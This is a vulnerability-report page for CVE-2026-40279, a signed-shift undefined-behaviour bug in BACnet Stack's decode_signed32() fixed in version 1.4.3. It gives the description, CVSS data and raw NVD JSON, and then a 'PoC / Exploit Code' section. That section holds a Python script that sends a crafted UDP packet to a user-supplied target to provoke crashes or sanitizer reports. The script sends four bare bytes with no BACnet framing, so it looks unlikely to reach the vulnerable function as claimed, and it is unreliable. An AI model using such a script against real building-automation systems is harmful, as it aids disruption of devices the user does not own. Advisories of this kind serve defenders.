Security Vulnerability Report
中文
CVE-2026-40279 CVSS 3.7 LOW

CVE-2026-40279

Published: 2026-04-21 17:16:55
Last Modified: 2026-04-27 19:49:23

Description

BACnet Stack is a BACnet open source protocol stack C library for embedded systems. Prior to 1.4.3, decode_signed32() in src/bacnet/bacint.c reconstructs a 32-bit signed integer from four APDU bytes using signed left shifts. When any of the four bytes has bit 7 set (value ≥ 0x80), the left-shift operation overflows a signed int32_t, which is undefined behavior per the C standard. This is flagged thousands of times per minute by UndefinedBehaviorSanitizer on any BACnet input containing signed-integer property values with high-bit-set bytes. This vulnerability is fixed in 1.4.3.

CVSS Details

CVSS Score
3.7
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:bacnetstack:bacnet_stack:*:*:*:*:*:*:*:* - VULNERABLE
BACnet Stack < 1.4.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket # PoC to trigger Undefined Behavior in BACnet Stack decode_signed32() # The vulnerability is triggered by sending bytes where the 7th bit is set, # causing a signed int overflow during left shift operations. def send_malicious_bacnet_packet(target_ip, target_port): # Construct a payload simulating a BACnet property with a problematic signed integer. # Example bytes: 0x80 (bit 7 set) followed by zeros. # This mimics a scenario where the decode_signed32 function would fail. payload = bytes([0x80, 0x00, 0x00, 0x00]) try: # BACnet typically runs over UDP (port 47808) sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(payload, (target_ip, target_port)) print(f"[+] Payload sent to {target_ip}:{target_port}") print("[+] Check target for crash or sanitizer reports.") sock.close() except Exception as e: print(f"[-] Error sending packet: {e}") if __name__ == "__main__": # Usage: python poc.py <target_ip> <target_port> import sys if len(sys.argv) == 3: send_malicious_bacnet_packet(sys.argv[1], int(sys.argv[2])) else: print("Usage: python poc.py <IP> <PORT>")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-40279", "sourceIdentifier": "[email protected]", "published": "2026-04-21T17:16:54.853", "lastModified": "2026-04-27T19:49:23.133", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "BACnet Stack is a BACnet open source protocol stack C library for embedded systems. Prior to 1.4.3, decode_signed32() in src/bacnet/bacint.c reconstructs a 32-bit signed integer from four APDU bytes using signed left shifts. When any of the four bytes has bit 7 set (value ≥ 0x80), the left-shift operation overflows a signed int32_t, which is undefined behavior per the C standard. This is flagged thousands of times per minute by UndefinedBehaviorSanitizer on any BACnet input containing signed-integer property values with high-bit-set bytes. This vulnerability is fixed in 1.4.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 3.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.2, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-758"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:bacnetstack:bacnet_stack:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.4.3", "matchCriteriaId": "B46C7C2C-2BC3-4A72-AEDC-746D4D76A2DE"}]}]}], "references": [{"url": "https://github.com/bacnet-stack/bacnet-stack/security/advisories/GHSA-326g-j95f-gmxv", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/bacnet-stack/bacnet-stack/security/advisories/GHSA-326g-j95f-gmxv", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}